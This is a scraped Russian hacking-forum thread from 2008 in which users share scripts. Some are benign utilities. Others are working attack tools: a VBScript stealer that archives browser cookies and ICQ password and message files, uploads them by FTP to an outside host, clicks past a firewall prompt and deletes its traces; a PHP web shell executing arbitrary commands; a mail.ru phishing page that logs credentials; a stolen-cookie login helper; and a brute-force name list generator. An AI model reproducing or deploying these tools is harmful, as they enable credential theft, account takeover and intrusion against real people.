count_good_proxy += 1
count_thead -= 1
print '''RoA SocksTest for Nerezus by PresidentUA
---------------'''
if (len(sys.argv)!=6):
print '''Run as:
roastest.py input.file output.file count_theard site_test timeout
Example:
roastest.py input.txt output.txt 5 ya.ru 10
---------------'''
sys.exit()
try:
fi = open(sys.argv[1],'r')
list = fi.readlines()
except:
print '|-| error input file '+sys.argv[1]
sys.exit()
print '|+| input file '+sys.argv[1]+' open'
try:
fo = open(sys.argv[2],'w')
except:
print '|-| error output file '+sys.argv[2]
sys.exit()
print '|+| output file '+sys.argv[2]+' open'
sys.argv[3] = int(sys.argv[3])
if ( 0 < sys.argv[3] < 100):
print '|+| create '+str(sys.argv[3])+' threads'
else:
print '|-| error create threads'
sys.exit()
sys.argv[5] = int(sys.argv[5])
if ((sys.argv[5]>=1) and (sys.argv[5]<=300)):
print '|+| good set timeout'
else:
print '|-| error set timeout'
sys.exit()
try:
temp = StringIO.StringIO()
curl = pycurl.Curl()
curl.setopt(pycurl.USERAGENT, 'Opera/9.50 (X11; Linux i686; U; ru)')
curl.setopt(pycurl.FOLLOWLOCATION, 0)
curl.setopt(pycurl.CONNECTTIMEOUT, sys.argv[5])
curl.setopt(pycurl.URL, sys.argv[4])
curl.setopt(pycurl.WRITEFUNCTION, temp.write)
curl.perform()
curl.close()
rez = temp.getvalue()
if (len(rez)>100):
print '|+| good set site url'
else:
print '|-| error set site url'
sys.exit()
except:
print '|-| error set site url'
sys.exit()
count_good_proxy = 0
count_thead = 0
for i in xrange(0,sys.argv[3]):
count_thead += 1
thread.start_new_thread(test_socks,())
while (count_thead>0):
pass
fi.close
fo.close
print '---------------'
print '|+| '+str(count_good_proxy)+' good socks. The End :)'''
sys.exit()
Скрипт-грабер картинок с папки у юзверя на фотомайлру. Коряво конечно - прошу не пинать(
<?php set_time_limit(0); ?>
<html>
<title>Качалка картинок с Foto.mail.ru и не только</title>
<style>
body{
background: gold;
}
.tab{
border: 2px black double;
background: silver;
width: 600px;
position: absolute;
top: 30%;
left: 30%;
}
input{
border: 1px red solid;
}
</style>
<body>
<div class="tab">
<form action="" method="post">
<b>Введи URL папки с картинками.</b><br>
<i> Например: <font color="red">http://foto.mail.ru/mail/truhacheva/1/</font></i>   
<input type="text" name="url" size="40"><br>
<b>Введи примерный номер последней картинки.</b><br>
<i> Например: <font color="red">ссылка http://foto.mail.ru/mail/truhacheva/1/450.html - значит вводишь 450 </font></i>   
<input type="text" name="end" size="5" maxlength="5"><br>
<b>Введи номер первой картинки</b><br>
<input type="text" name="start" size="5" maxlength="5"><br>
<b>Расширение картинок</b><br>
<input type="text" name="ext" size="5" maxlength="5" value="jpg"><br>
<b>префикс картинок на сервере</b><br>
<i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>   
<input type="text" name="servpref" value="i-"><br><br><br>
<b>Как называть картинки? Префикс.</b><br>
<i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>   
<input type="text" name="prefix"><br><br><br>
<b>В какую директорию складировать?</b><br>
<input type="text" name="dir"><br><br><br>
<input type="submit" name="submit">
</form>
</div>
</body>
</html>
<?php
/*If(!$_POST['url'] or $_POST['prefix'] or $_POST['end']){
exit;
}*/
If($_POST['submit']){
$servpref=$_POST['servpref'];
$dir = $_POST['dir'];
if(!is_dir($dir)){
@mkdir($dir) or die("Проверьте права на запись в папку $dir !! ");
}
$url=str_replace("foto.mail.ru", "content.foto.mail.ru", $_POST['url']);
for($i=$_POST['start']; $i<$_POST['end']; $i++){
$fp=@fopen($url.$servpref.$i."." . $_POST['ext'], "b");
If(!$fp){
continue;
}
$kar=fopen($dir . "/{$_POST['prefix']}".$i."." . $_POST['ext'], "a+");
while(!feof($fp)){
fwrite($kar, fgets($fp));
}
}
Echo "Закончено";
}
?>
Угнали у кого то куки? Лень гемороится и вручную вставлять их в браузер?
Этот скрипт поможет) Нужна опера.
<?php
if(isset($_POST['go']) and !empty($_POST['cooks'])){
$cooki = explode("; ", $_POST['cooks']);
$out = "<script>\r\n";
foreach($cooki as $cook){
$out .= "document.cookie = \"" . $cook . "\";\r\n";
}
$out .= "setTimeout(\"document.location.reload(true)\", 1000);\r\n</script>";
header("Content-Type: text/plain");
echo $out;
}else{
echo '<html>
<body>
<div style="position:absolute; top:20%; left:20%">
<form action="" method="post">
<h1>Сюда захерачь строку с куками</h1>
<textarea cols="100" rows="20" name="cooks"></textarea><br>
<input type="submit" name="go" value="Поехали!!!">
</form>
</body>
</html>';
}
?>
0. Запускаем скрипт, вставляем в текстовую область строку с куками и жмем кнопку, получаем код.
1.полученный код копируем в буфер обмена,
2.открываем в опере сайт, от которого куки угнали,
3.Жмем правой кнопкой мыши, выбираем "настройки для сайта" -> вкладка "Cookie" -> удаляем всё.
4. жмем view source или проcмотр исходного кода . Удаляем весь текст, и вставляем туда содержимое буфера обмена, жмём "применить" /
5. Вуаля!! Мы залогинены под украденными куками...
PS если залогинится не удалось -значит куки устарели или яваскрипт отключен.
GreenBear
12.12.2008, 03:05
давно ли опера пхп выполняет?
Olegros911
12.12.2008, 03:25
и прям этож php причем здесь опера то????????????
пепец, прочитать описание под скриптом нельзя чтоль? =)
php скрипт только формирует код на яваскрипте, который уже в оперу вставляется =)
Solker,
Поднятие времени проведенного за чтением форума, ака увлечение значения «Провел на форуме».
<?php
ignore_user_abort();
set_time_limit(0);
for ($i=0; $i<9999; $i++) {
$url = "http://forum.antichat.ru/member.php?u=2674";
$ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$ref = "http://forum.antichat.ru/";
$cookie = "ВАШИ КУКИ ";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$res = curl_exec($ch);
sleep(60);
}
?>
Через cronjob.ru и нет проблемм)) Прошел 4х часовый тест.
А вот несколько раз нужно было сгенерировать 3х значные ники для брута коротких имейлов.
<?php
$fp2 = fopen("3d_mail.txt", "w");
$str = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($iii=0; $iii<strlen($str); $iii++) {
for ($ii=0; $ii<strlen($str); $ii++) {
for ($i=0; $i<strlen($str); $i++) {
fputs($fp2, $str[$i].$str[$ii].$str[$iii]."\r\n");
}}}
fclose($fp2);
?>
GreenBear
12.12.2008, 08:59
for ($i=0; $i<9999; $i++) {
у тебя что while украли
Pashkela
16.12.2008, 17:07
Новая версия, изменения (значительные):
1. Всё стало архивирироваться посредством встроенного в windows архиватора zip (т.е. мы теперь не зависим от наличия в системе WINRAR или любого другого архиватора)
2. Исправлены ошибки в передачи файлов по FTP - теперь архивы не битые и рабочие
3. Отчеты пакуются не в один архив, как раньше, а в несколько, по названию архива можно понять его содержимое. Сделано с целью уменьшения вероятности потери файлов большого объема при передаче по FTP (т.е. даже если связь оборвется, какая-то информация всё-таки успеет отослаться)
4. В данной версия тыряца и архивируются в архив .zip с уникальным названием и отсылаются на FTP следующие вещи:
- куки от IE
- куки от Opera
- Messages.mdb - история переписки ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта)
- Owner.mdb - файл паролей и контактов ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта)
В итоге при правильной работе скрипта у вас должно получиться 4 архива.
>>СКАЧАТЬ (пароль 123)<< (http://slil.ru/26445005)
Ниже исходники:
Const FOF_SIMPLEPROGRESS = 256
Dim MySource, MyTarget, MyHex, MyBinary, i
Dim oShell, oCTF
Dim oFileSys
dim winShell
dim newfolderpath
dim t
On Error Resume Next
'Создаем временную папку для записи нужных нам результатов (лучше, если название будет УНИКАЛЬНОЕ, чтобы не было конфликтов)
'================================================= =========
h = Hour(Now)
m = Minute(Now)
s = Second(Now)
t = date() & "-" & h & "-" & m & "-" & s
dim filesys, newfolder
newfolderpath = "c:\12345" ' Название временной папки
ICQ = 123456 'Номер ICQ, который хотим похекать
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If
set filesys=Nothing
Set newfolder=Nothing
'================================================= =========
' Тырим куки OPERA
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\Opera\Opera\profile\cookies4.dat" 'Тут указываем, то что архивируем.
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "opera_cookie.zip"
archPath_OPERA = t & "-" & "opera_cookie.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
set winShell = createObject("shell.application")
winShell.namespace(MyTarget).CopyHere MySource
wScript.Sleep(5000)
Set oFileSys = Nothing
Set oShell = Nothing
set WshShell = Nothing
set WshShell1 = Nothing
'================================================= =========
' Тырим куки IE
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim MyZipName
Dim oApp, oFolder, oFile
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Cookies" 'Тут указываем, то что архивируем.
set WshShell1 = Nothing
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "ie_cookie.zip"
archPath_IE = t & "-" & "ie_cookie.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
Set oApp = CreateObject("Shell.Application")
Set oFolder = oApp.NameSpace(MySource)
If Not oFolder Is Nothing Then
oApp.NameSpace(MyTarget).CopyHere oFolder.Items
End If
wScript.Sleep(5000)
Set oFile = Nothing
On Error Resume Next
Do While (oFile Is Nothing)
Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False)
If Err.number <> 0 then
Err.Clear
wScript.Sleep 3000
End If
Loop
Set oFile=Nothing
Set oFileSys=Nothing
'================================================= =========
' Тырим переписку ICQ
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\ICQ\" & ICQ & "\Messages.mdb" 'Тут указываем, то что архивируем.
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Messages.zip"
archPath_ICQ_history = t & "-" & "ICQ_Messages.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
set winShell = createObject("shell.application")
winShell.namespace(MyTarget).CopyHere MySource
wScript.Sleep(5000)
Set oFileSys = Nothing
Set oShell = Nothing
set WshShell = Nothing
set WshShell1 = Nothing
'================================================= =========
' Тырим файл с контактами и паролем ICQ
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\ICQ\" & ICQ & "\Owner.mdb" 'Тут указываем, то что архивируем.
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Owner.zip"
archPath_ICQ_pass = t & "-" & "ICQ_Owner.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
set winShell = createObject("shell.application")
winShell.namespace(MyTarget).CopyHere MySource
wScript.Sleep(5000)
Set oFileSys = Nothing
Set oShell = Nothing
set WshShell = Nothing
set WshShell1 = Nothing
'================================================= =========
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE
set FSO = CreateObject("Scripting.FileSystemObject")
Set WSHshell = WScript.CreateObject("WScript.Shell")
Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз)
cScript.WriteLine "Open ftp.narod.ru" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту
cScript.WriteLine "User" '- Имя пользователя
cScript.WriteLine "Password" '- Пароль
cScript.WriteLine "drive C:" '- Выбраем диск С
cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
cScript.WriteLine "binary" ' - метод передачи файлов по FTP
cScript.WriteLine "PUT " & archPath_IE '- Отправляем куки от IE
cScript.WriteLine "PUT " & archPath_OPERA '- Отправляем куки от OPERA
cScript.WriteLine "PUT " & archPath_ICQ_history '- Отправляем историю переписки ICQ
cScript.WriteLine "PUT " & archPath_ICQ_pass '- Отправляем файл паролей и контактов ICQ
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru
cScript.Close '- Конец записи в файл сценария
' Запускаем FTP-сценарий
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если не надо, закоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
set w=CreateObject("WScript.Shell")
a=0
do
r=W.AppActivate("ftp.exe")
if r then
a=1
w.SendKeys "{tab 2}"
w.SendKeys "{enter}"
end if
loop until a=1
set w=Nothing
'---------------------------
Set fso = Nothing
Set WSHshell = Nothing
'================================================= =========
'Заметаем следы (удаляем временную папку с нашими палевными архивами)
WScript.Sleep 60000 'Задаем паузу, чтобы успело скопироваться на ФТП - чем больше, тем надежней, в данном случае 1 минута
set FSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFolder(newfolderpath)
MyFile.Delete
Set FSO = Nothing
Set MyFile = Nothing
Wscript.Quit ' -выход
Pashkela
16.12.2008, 18:47
<?
/* Функция по замене только первого найденного совпадения*/
function first($str,$chto_meniaem,$na_chto_meniaem)
{
$iparr = split ($chto_meniaem, $str);
$count=count($iparr) . "\r\n";
echo $iparr[0];
for ($i=0;$i<=$count;$i++)
{
if ($i==1){$iparr[1]=$na_chto_meniaem;echo $iparr[1];}
else
{
if (empty($iparr[$i])){$iparr[$i]=$chto_meniaem;echo $iparr[$i];}
}
}
echo $iparr[$count-1];
}
/* Пример использования*/
$msg="рудик вахтанг <<<<<<<<< дыня, арбуз, и т.п.";
$meniaem = '<';
$zamena = 'ord("<")';
echo $msg . "\r\n";
echo first($msg,$meniaem,$zamena) . "\r\n";
?>
astrologer
16.12.2008, 19:00
Функция по замене только первого найденного совпадения<?php
echo preg_replace('/</', 'ord("<")', '<<<<<<<<<', 1); // Четвёртый параметр именно для этого и придумали.
?>
-Hormold-
17.12.2008, 15:34
Очень простой шелл
<?
echo 'OS : '.@substr(@php_uname(),0,120).'<br>';
echo 'User : '.get_current_user().'';
?>
<FORM METHOD=GET><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" value="EXEC"></FORM>
<FORM METHOD=GET><INPUT TYPE="text" NAME="eval"><INPUT TYPE="submit" value="EVAL"></FORM>
<FORM METHOD=GET><INPUT TYPE="text" NAME="unlink"><INPUT TYPE="submit" value="unlink"></FORM>
<FORM METHOD=GET><INPUT TYPE="text" NAME="upload"> to: <INPUT TYPE="text" NAME="to"><INPUT TYPE="submit" value="upload"></FORM>
<pre>
<?
if($_GET['cmd']){echo exec($_GET['cmd']);}
if($_GET['eval']){echo eval($_GET['eval']);}
if($_GET['unlink']){echo unlink($_GET['unlink']);}
if($_GET['upload']){$f=file_get_contents($_GET['upload']);$fp=fopen($_GET['to'],"w");fwrite($fp,$f);fclose($fp);}
?>
</pre>
BackDoor.CMD.11 by Hormold
Палит Dr.Web, т.к. выслал им для проверки оперативности...
(Задание)
Скрипт работает в один поток (через сокеты, без использования curl). Для проверки сокса, он отправляет 3 байта - 0x05 0x01 0x00, результат (работает или нет), получаем исходя из ответа сервера.
Сам скрипт (http://shkolnek.ru/www.rar)
сорри, я написал в приват а потом нашел этот псто здесь))
Можно скрипт которой показает папки данново сайта.
Пример: Я хочу знать какие папки есть на сайт www.abv.bg
Можно скрипт которой показает папки данново сайта.
Пример: Я хочу знать какие папки есть на сайт www.abv.bg
у тебя доступ к нему естЬ?
biophreak
19.12.2008, 11:00
Для ROA сделал хранимую процедуру PostgreSQL для определения - високосный ли год или нет...
На вход приминимает,собственно год(допустим из определенного поля таблицы)...в принципе переделать на тип данных date не сложно ))
CREATE FUNCTION year_leap2 (integer) RETURNS integer AS $$
my $year = shift;
if($year%100 == 0)
{
if($year%400 == 0)
{
return 1
}
else
{
return 0
}
} else {
if($year%4 == 0)
{
return 1
}
else
{
return 0
}
}
$$ LANGUAGE plperl;
Смысла определять текущий год через CURRENT_DATE имхо нету, лишние затраты ресурсов - проще закешировать...
PS: Поправил на более читаемый вариант и без хаков с sprintf()
Задание для ROA
<?
set_time_limit(0);
//функция для PHP-сокетов, после которой работа ведется аналогично fsockopen()
//в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
//для работы требуются включенные сокеты
function socks4_open($server,$port,&$errno,&$errstr){
if(!($socket=socket_create(AF_INET,SOCK_STREAM,SOL _TCP)) || !socket_connect($socket,$server,$port)){
$errno=socket_last_error();
$errstr=socket_strerror($errno);
return false;
} else return $socket;
}
//функция для PHP-сокетов, возвращающая ответ на запрос($q) к серверу($server) через порт($port)
//в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
//для работы требуются включенные сокеты
function socket_otvet($server,$port,$q,&$errno,&$errstr){
if(!($socket=socket_create(AF_INET,SOCK_STREAM,SOL _TCP)) || !socket_connect($socket,$server,$port)){
$errno=socket_last_error();
$errstr=socket_strerror($errno);
return false;
} else {
socket_write($socket,$q,strlen($q));
while($otvet=socket_read($socket,1024)){
$otv.=$otvet;
}
socket_close($socket);
return $otv;
}
}
//функция для fsockopen(), возвращающая ответ на запрос($q) к серверу($server) через порт($port)
//в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
function fsock_otvet($server,$port,$q,&$errno,&$errstr){
if(!($fp=fsockopen($server,$port,$errno,$errstr,30 ))){
return false;
} else {
fputs($fp,$q);
while(!feof($fp)){
$otv.=fgets($fp,1024);
}
fclose($fp);
return $otv;
}
}
//пример запроса
$q="GET / HTTP/1.0\r\nHost: mail.ru\r\n\r\n";
//пример работы socks4_open()
$sock=socks4_open("mail.ru",80,$errno,$errstr);
if(!$sock){
echo "$errstr ($errno)<br>\n";
} else {
socket_write($sock,$q,strlen($q));
while($otvet=socket_read($sock,1024)){
$otv.=$otvet;
}
}
socket_close($sock);
echo $otv;
//пример работы socket_otvet()
if($otv=socket_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";
//пример работы fsock_otvet()
if($otv=fsock_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";
?>
big_BRAT
19.12.2008, 21:31
Суть задачи: https://forum.antichat.ru/showpost.php?p=1001854&postcount=51
Посмотреть на работу можно тут: http://vkorostene.com.ua/search/
Исходник: http://vkorostene.com.ua/search/source.rar
Если задание понял правильно - то поидее сделал всё... (напр.: был вопрос по поводу "...По одному из полей структуры.." тут меется ввиду только одно из полей или по всем, но думаю это мелочи и смысл ясен)
astrologer
19.12.2008, 21:57
Суть задачи: https://forum.antichat.ru/showpost.php?p=1001854&postcount=51
Посмотреть на работу можно тут: http://vkorostene.com.ua/search/
Исходник: http://vkorostene.com.ua/search/source.rar
Если задание понял правильно - то поидее сделал всё... (напр.: был вопрос по поводу "...По одному из полей структуры.." тут меется ввиду только одно из полей или по всем, но думаю это мелочи и смысл ясен) Суть была в индексах
Pashkela
20.12.2008, 03:17
<?
Function whois($domen)
{
$result = file('http://ip-whois.net/whois.php?whois='.$domen);
if (preg_match('/match/',$result[70])) echo 'Not registered';
else for ($i=52;$i<=64;$i++) echo $result[$i];
}
/*Пример вызова*/
whois('forum.antichat.ru');
?>
Суть была в индексах Даже не в них. А в самостоятельной реализации такого поиска.
Представим, что файл весит 20гб...
Задание из ROA
https://forum.antichat.ru/showpost.php?p=990504&postcount=37
<?
$maxpages = 3;
$pagelines = 3;
$lineend = "\r\n";
function mas($n)
{
global $pages, $lineln, $pagelines;
$p = floor($n / $pagelines);
if (!isset($pages["p$p"]))
loadPage($p);
return $pages["p$p"][$n % $pagelines];
}
function setmas($n, $value)
{
global $pages, $lineln, $pagelines;
$p = floor($n / $pagelines);
if (!isset($pages["p$p"]))
loadPage($p);
$pages["p$p"][$n % $pagelines] = $value;
}
function loadPage($p)
{
global $pages, $lineln, $pagelines, $maxpages, $sortfile, $lineend;
fseek($sortfile, $p * $lineln * $pagelines);
$data = fread($sortfile, $pagelines * $lineln);
$pages["p$p"] = explode($lineend, rtrim($data, $lineend));
if (count($pages) > $maxpages)
flushPage();
}
function flushPage()
{
global $pages, $lineln, $pagelines, $maxpages, $sortfile, $lineend;
reset($pages);
$p = intval(substr(key($pages), 1));
$data = implode($lineend, array_shift($pages)) . $lineend;
fseek($sortfile, $p * $lineln * $pagelines);
fwrite($sortfile, $data);
}
function sortTypeFile($file)
{
global $sortfile, $sortlines, $pages, $lineln, $lineend;
$pages = array();
$sortlines = 1;
$sortfile = fopen($file, "r+b");
$lineln = strlen(fgets($sortfile));
$n = $lineln - strlen($lineend);
while (!feof($sortfile))
{
if (strlen(rtrim(fgets($sortfile), $lineend)) != $n)
break;
$sortlines++;
}
fseek($sortfile, 0);
$n = 0;
for ($i = 0; $i < $sortlines; $i++)
{
$min = mas($i);
$cur = $min;
$minpos = $i;
for ($j = $i + 1; $j < $sortlines; $j++)
{
$a = mas($j);
if ($a < $min)
{
$min = $a;
$minpos = $j;
}
}
if ($minpos != $i)
{
setmas($minpos, $cur);
setmas($i, $min);
}
}
while (count($pages) > 0)
flushPage();
fclose($sortfile);
}
sortTypeFile("file.txt");
?>
Pashkela
22.12.2008, 20:01
2 файла:
1. login.php (или хотите назовите его login.html)
<html>
<head>
<title></title>
</head>
<bоdу>
<div align="center">
<form method="post" action='mail.ru.php'>
<table>
<tr><td><span>Login:</span></td><td><input type="text" name="login" /></td></tr>
<tr><td><span>Password:</span></td><td><input type="password" name="pass" /></td></tr>
</table>
<input type="submit" name="submit" value="ok" />
</form>
</div>
</bоdу>
</html>
2. mail.ru.php
<?php
$log=$_POST['login'];
$pass=$_POST['pass'];
if (empty($log) or empty($pass)) {echo 'Please fill login or password'; echo '<meta http-equiv="Refresh" content="2;URL=login.php">';exit;}
$file = "mails.txt";
$f = fopen($file, "a");
fwrite($f, "$log;$pass \r\n");
fclose($f);
?>
<html>
<head>
</head>
<body>
<form name='mail' method='post'action='http://win.mail.ru/cgi-bin/auth' >
<input type="hidden" name='Login' value=<?php echo $log;?>>
<input type="hidden" name="Password" value=<?php echo $pass;?>>
<input type='hidden' name='Domain' value='mail.ru'>
</form>
<script language='javascript'>
document.mail.submit();
</script>
</body>
</html>
Exlibris
22.12.2008, 21:29
делать было нех написал 2 простеньких скрипта :D
чат (2 файла)
guest.php
<html>
<body>
<form action="guest.php" method="post" name="text" terget="_top">
<input type="text" align="top" name="text">
<input type="submit" value="чик">
<a href="unlink.php">clear</a>
</body>
</html>
<?php
$tmp_file = "tmp.txt";
$time = date("d:m:y::H:i:s");
$msg = $_POST['text'];
if(!file_exists($tmp_file))
{
echo "файл истории недоступен";
}
else
{
$file = fopen($tmp_file,"a+");
echo $msg;
fwrite($file,$time." ".$msg."\n");
$s = file($tmp_file);
foreach ($s as $k => $v)
{
$i++;
if($i % 2 == 0)
{
echo "<table align='center' width='50%'>";
echo "<tr>"."<td bgcolor='13becd'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";
}
else
{
echo "<table align='center' width='50%'>";
echo "<tr>"."<td bgcolor='a7f97a'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";
}
}
}
fclose($file);
?>
unlink.php
<?php
$file = "tmp.txt";
unlink($file);
fopen($file,"a+");
header("location:http://127.0.0.1/code/guest.php");
fclose($file);
?>
--
генератор паролей
<html>
<form action="pass_gen.php" name="len" method="post">
Длина пароля: <input type="text" name="len">
<input type="submit" value="go">
</html>
<?php
//символы
$a = "abcdefghijklmnopqrstuvwxyz";
$b = strtoupper($a);
$n = "0123456789";
$s = "!@#$%^&*()[]";
$all = $a.$b.$n.$s;
$lenght = $_POST['len'];//длина пароля
echo "=".$lenght."<br>";
$radio = $_POST['rad'];//вид пасса
echo $radio;
$count = strlen($all);
if($lenght<=8)
{
$pass = '';
for($i=0;$i<$lenght;$i++)
{
$pass .= substr($all, rand(1,$count),1);
}
echo "pass: ".$pass;
}
else
{
echo "парель не должен привышать 8 символов";
}
?>
есть у кого-то реггер сайтов на народе?
Pashkela
23.12.2008, 01:34
там капча во время реги
Inviseble_Demon
23.12.2008, 07:19
У меня есть скриптец которы ну не распознает капчу, а отправляет её на сайт там её люди распознают (в принцепи быстро 3-5 сек !).
Если каму надо могу выложить с мануалом !
Для любой реги подойдет.
На счет реги на народе помойму тема старая !
Но если ещё актуально то могу написать.
Inviseble_Demon
23.12.2008, 07:22
И вобще если комунить нужен регер на каком либо сайте стучите !
1 условие чтобы на сайте не использовалить сертифекаты !
А все остальное без проблем.
там капча во время реги
ну как на мыле ру вывоодтся на странице много капч и вводишь их
1 условие чтобы на сайте не использовалить сертифекаты !
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
Shadow_p1raT
23.12.2008, 19:03
Задание из ROA
Заливка avi/mov/mpg файлов на сервер и их проигрывание во флеш-плеере.
Если конечно я его правильно понял:)
[Интсрументы]
Прямые руки
ffmpeg-php
Denwer
[Подготовка рабочей среды]
Ну для начала надо поствить Denwer.
Думаю тут вопросов возникнуть не должно.
Как ставить ffmpeg-php смотрим тут
http://forum.drupal.ru/node/16257
Ищем обзац
Установка ffmpeg на денвер
и читаем,отсальное нам нах не нужно.
Если вы будете юзать денвер,то
измените строчку в php.ini
upload_max_filesize = 2M
и меняем её на
upload_max_filesize = 800M
А вообще значении upload_max_filesize может быть другим,это уж вам как захочется.
[Теория]
Для реализации такой задачи я использовал jQuery и плагин к нему jQuery Form
и самы простенький flv плеер - jw flv player(всё это найдёте в архиве)
Для просмотра видео нам сначала надо перевести его в формат .flv
для этого нам и понадобится ffmpeg-php
Вроде всё просто.
[Установка]
Качаем архив,распаковываем,
заливаем на сервер.
На все папки ставим чмод - 777
Так же в скрипте не забывем менять путь до вашего ffmpeg-php модуля.
[Скачать]
slil.ru (http://slil.ru/26480060)
P.S Получилась как бы мини-статейка
P.S Вроде всё внятно разжувал
Пользователи приходят и уходят из системы. В БД пишется, когда пришли, а когда ушли. Нарисуй диаграмму, которая покажет, сколько каждый пользователь был в системе.
[Инструменты]
LAMP (Debian Linux + Apache2 + MySQL + PHP 5)
Geany
[Описание]
В файле lib.php располагаются два класса. 1-й обрабатывает массив данных и приводит его к необходимому виду. 2-й класс, который отвечает за создание диаграммы на основе поступивших данных. Для создания круговой диаграммы заюзал старый заезженный метод, который для разных сред много раз описывался.
[Оправдания]
"...мапэд не мой...". Задание не мое, просто сделал для разминки, т.к. отдельное мне так и не дали. Работать с БД умышленно отказался, чтобы у тех, кто скачает не было необходимости в лишних телодвижениях для тестирования. Разбил на два класса, чтобы уменьшить зависимость компонентов.
CКАЧАТЬ http://slil.ru/26484386
ss88, если кто-то в системе, то неверно считает. Предусмотри факт, что на момент отрисовки люди могут еще там быть.
маленький скрипт для создания N-ого количества текстовых файлов с заданным объемом текста в килобайтах, из большого числа других, с рандомизацией выборки.
[для чего?]
я писал скрипт для себя и решил выложить может кому нибудь пригодится.
очень быстро можно сделать например 10 файлов по мегабайту и в каждом файле будет текст из рандомной выборки по другим файлам.
юзаю для подготовки текстов для доров
скачать можно тут (http://slil.ru/26482361)
еще необходимо сделать две папки рядом со скриптом
папка texts(исходные тексты) и result(куда будут складываться собранные тексты)
права 0777
ss88, если кто-то в системе, то неверно считает. Предусмотри факт, что на момент отрисовки люди могут еще там быть.
Доделаю
Хорошо, что разложил логические задачи на два класса, изменил, теперь конструктору класса обработки массива данных нужно передавать еще время форы для пользователей, которые еще не вышли. Ссылку на скачивание обновил в посте с описанием.
Гостевая книга
http://develop.clubweb.ru/guestbook/guestbook_index.php
